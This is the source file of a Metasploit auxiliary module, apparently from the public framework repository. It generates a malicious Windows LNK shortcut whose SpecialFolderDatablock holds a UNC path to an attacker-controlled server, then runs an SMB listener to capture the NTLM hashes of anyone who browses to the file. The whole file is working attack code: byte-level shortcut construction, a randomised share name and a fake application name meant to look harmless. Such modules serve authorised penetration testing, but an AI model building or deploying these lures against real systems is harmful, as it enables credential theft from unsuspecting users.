Path: blob/master/modules/auxiliary/fileformat/specialfolder_leak.rb
23590 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'faker'56class MetasploitModule < Msf::Auxiliary78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Remote::SMB::Server::Share10include Msf::Exploit::Remote::SMB::Server::HashCapture1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak',17'Description' => %q{18This module creates a malicious Windows shortcut (LNK) file that19specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK)20that can trigger an authentication attempt to a remote server. This can be used21to harvest NTLM authentication credentials.2223When a victim browse to the location of the LNK file, it will attempt to24connect to the the specified UNC path, resulting in an SMB connection that25can be captured to harvest credentials.26},27'Author' => [ 'Nafiez' ],28'License' => MSF_LICENSE,29'References' => [30[31'URL', 'https://zeifan.my/Right-Click-LNK/',32'EDB', '42382',33]34],35'Platform' => 'win',36'Targets' => [ [ 'Windows Universal', {} ] ],37'Notes' => {38'Stability' => [CRASH_SAFE],39'Reliability' => [],40'SideEffects' => [ARTIFACTS_ON_DISK]41},42'DisclosureDate' => '2025-05-10' # Disclosed to MSRC on 2025-05-1043)44)4546register_options([47OptString.new('APPNAME', [ false, 'Name of the application to display', nil])48])49end5051def generate_shell_link_header52header = ''53header << [0x4C].pack('L') # HeaderSize (4 bytes)54header << [0x00021401, 0x0000, 0x0000, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('LSSCCCCCCCC') # LinkCLSID (16 bytes)55header << [0x81].pack('L') # LinkFlags (4 bytes): HasLinkTargetIDList + IsUnicode56header << [0x00].pack('L') # FileAttributes (4 bytes)57header << [0x00].pack('Q') # CreationTime (8 bytes)58header << [0x00].pack('Q') # AccessTime (8 bytes)59header << [0x00].pack('Q') # WriteTime (8 bytes)60header << [0x00].pack('L') # FileSize (4 bytes)61header << [0x00].pack('L') # IconIndex (4 bytes)62header << [0x00].pack('L') # ShowCommand (4 bytes)63header << [0x00].pack('S') # HotKey (2 bytes)64header << [0x00].pack('S') # Reserved1 (2 bytes)65header << [0x00].pack('L') # Reserved2 (4 bytes)66header << [0x00].pack('L') # Reserved3 (4 bytes)6768header69end7071def generate_item_id(data)72[data.length + 2].pack('S') + data73end7475def generate_lnk_special(path, name)76# Force encoding to ASCII-8BIT (binary) to avoid encoding issues77path = path.dup.force_encoding('ASCII-8BIT')78name = name.dup.force_encoding('ASCII-8BIT')7980# Add null terminator81path += "\x00".force_encoding('ASCII-8BIT')82name += "\x00".force_encoding('ASCII-8BIT')8384# Convert to UTF-16LE manually85path_utf16 = path.encode('UTF-16LE').force_encoding('ASCII-8BIT')86name_utf16 = name.encode('UTF-16LE').force_encoding('ASCII-8BIT')8788# Remove BOM (first 2 bytes) if present89path_utf16 = path_utf16[2..] if path_utf16.start_with?("\xFF\xFE")90name_utf16 = name_utf16[2..] if name_utf16.start_with?("\xFF\xFE")9192bin_data = ''.force_encoding('ASCII-8BIT')93bin_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00".force_encoding('ASCII-8BIT')94bin_data << [path.length].pack('S')95bin_data << [name.length].pack('S')96bin_data << path_utf1697bin_data << name_utf1698bin_data << "\x00\x00".force_encoding('ASCII-8BIT') # comment99100bin_data101end102103def generate_linktarget_idlist(path, name)104idlist = ''.force_encoding('ASCII-8BIT')105106# Reference - https://www.tenforums.com/tutorials/3123-clsid-key-guid-shortcuts-list-windows-10-a.html107108# First ItemID - My Computer / This PC109# {20D04FE0-3AEA-1069-A2D8-08002B30309D}110field_size_id1 = "\x1f\x50"111first_id = "\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT')112idlist << generate_item_id(field_size_id1 + first_id)113114# Second ItemID - Control Panel (All Tasks)115# {ED7BA470-8E54-465E-825C-99712043E01C}116field_size_id2 = "\x2e\x80"117second_id = "\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT')118idlist << generate_item_id(field_size_id2 + second_id)119120# Custom ItemID - Our UNC path121idlist << generate_item_id(generate_lnk_special(path, name))122123# TerminalID124idlist << "\x00\x00".force_encoding('ASCII-8BIT')125126# Full IDList with size127[idlist.length].pack('S') + idlist128end129130def generate_extra_data131extra = ''.force_encoding('ASCII-8BIT')132extra << [0x10].pack('L') # BlockSize (4 bytes)133extra << [0xA0000005].pack('L') # SPECIAL_FOLDER_DATABLOCK_SIGNATURE (4 bytes)134extra << [0x24].pack('L') # SpecialFolderID (4 bytes) - Control Panel135extra << [0x28].pack('L') # Offset (4 bytes)136extra << [0x00].pack('L') # TERMINAL_BLOCK (4 bytes)137138extra139end140141def ms_shllink(path, name)142lnk_data = ''.force_encoding('ASCII-8BIT')143lnk_data << generate_shell_link_header144lnk_data << generate_linktarget_idlist(path, name)145lnk_data << generate_extra_data146147lnk_data148end149150def run151app_name = datastore['APPNAME']152153app_name = "#{Faker::App.name}Application" if app_name.blank?154155start_service156unc_share = datastore['SHARE']157unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?158unc_path = "\\\\#{datastore['SRVHOST']}\\#{unc_share}"159160lnk_data = ms_shllink(unc_path, app_name)161file_create(lnk_data)162print_good("LNK file created: #{datastore['FILENAME']}")163print_status("Listening for hashes on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")164stime = Time.now.to_f165timeout = datastore['ListenerTimeout'].to_i166loop do167break if timeout > 0 && (stime + timeout < Time.now.to_f)168169Rex::ThreadSafe.sleep(1)170end171end172173end174175176